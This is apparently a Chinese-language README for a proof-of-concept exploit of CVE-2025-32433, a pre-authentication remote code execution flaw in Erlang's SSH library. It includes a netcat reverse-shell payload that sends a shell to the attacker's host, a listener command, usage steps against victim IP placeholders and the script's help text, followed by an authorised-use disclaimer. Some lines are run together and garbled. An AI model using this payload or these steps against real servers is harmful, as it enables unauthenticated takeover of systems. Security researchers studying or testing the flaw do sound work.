针对 CVE-2025-32433 的概念验证漏洞利用程序,这是 Erlang 的 SSH 库中的一个严重漏洞,允许通过格式错误的 SSH_MSG_CHANNEL_REQUEST 数据包在认证前执行代码。
argparse 提供内置帮助和用法os:cmd("nc LHOST LPORT -e /bin/sh"). 的 Erlang 风格反向 shell 载荷nc(Netcat)监听器22)的网络在攻击机上启动监听器:
nc -lvnp 4444
运行漏洞利用程序:
python3 CVE-2025-32433.py -lh [Attacker-IP] -lp [Attacker-Port] -rh [Victim-IP] -rp [Victim-Port]
等待 shell 连回你的监听器。
$ python3 CVE-2025-32433.py -h
usage: CVE-2025-32433.py [-h] -lh LHOST -lp LPORT [-rh RHOST] [-rp RPORT]
Send a pre-auth SSH channel request with an Erlang RCE payload
to get a reverse shell
optional arguments:
-h, --help show this help message and exit
-lh LHOST, --lhost LHOST
Local host/IP to receive the reverse shell
-lp LPORT, --lport LPORT
Local port to receive the reverse shell
-rh RHOST, --rhost RHOST
Target SSH server IP (default: 10.10.248.101)
-rp RPORT, --rport RPORT
Target SSH server port (default: 22)
仅在你拥有或已获得明确许可进行测试的系统上使用此代码。未经授权利用漏洞属于非法且不道德的行为。